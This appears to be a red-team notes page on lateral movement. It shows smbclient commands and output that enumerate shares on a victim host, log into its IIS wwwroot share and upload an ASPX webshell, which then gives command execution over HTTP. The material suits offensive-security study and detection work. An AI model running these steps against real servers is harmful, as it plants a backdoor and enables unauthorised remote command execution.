Shared Webroot
Lateral Movement
Enumerating victim host
10.0.0.6 for any shares:smbclient -L //10.0.0.6 -U spot
​
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\spot's password:
​
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
CertEnroll Disk Active Directory Certificate Services share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
temp Disk
tools Disk
transcripts Disk
wwwroot Disk
Logging in to the
wwwroot share:smbclient //10.0.0.6/wwwroot -U spot
​
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\spot's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 25 16:57:52 2018
.. D 0 Sat Aug 25 16:57:52 2018
aspnet_client D 0 Tue Jul 31 20:11:20 2018
iis-85.png A 99710 Tue Jul 31 19:35:48 2018
iisstart.htm A 3 Tue Jul 31 19:38:23 2018
Uploading a webshell into the
wwwroot:put /usr/share/webshells/aspx/cmdasp.aspx c.aspx
​
putting file /usr/share/webshells/aspx/cmdasp.aspx as \c.aspx (341.8 kb/s) (average 341.8 kb/s)
smb: \> ls
. D 0 Sat Aug 25 16:59:47 2018
.. D 0 Sat Aug 25 16:59:47 2018
aspnet_client D 0 Tue Jul 31 20:11:20 2018
c.aspx A 1400 Sat Aug 25 16:59:47 2018
iis-85.png A 99710 Tue Jul 31 19:35:48 2018
iisstart.htm A 3 Tue Jul 31 19:38:23 2018
​
6463487 blocks of size 4096. 3032260 blocks available
Same as above in a picture:
Attacker can now access the newly uploaded webshell via
http://10.0.0.6/c.aspx and start executing commands:
See T1108: Webshells for observations:
Last modified 4yr ago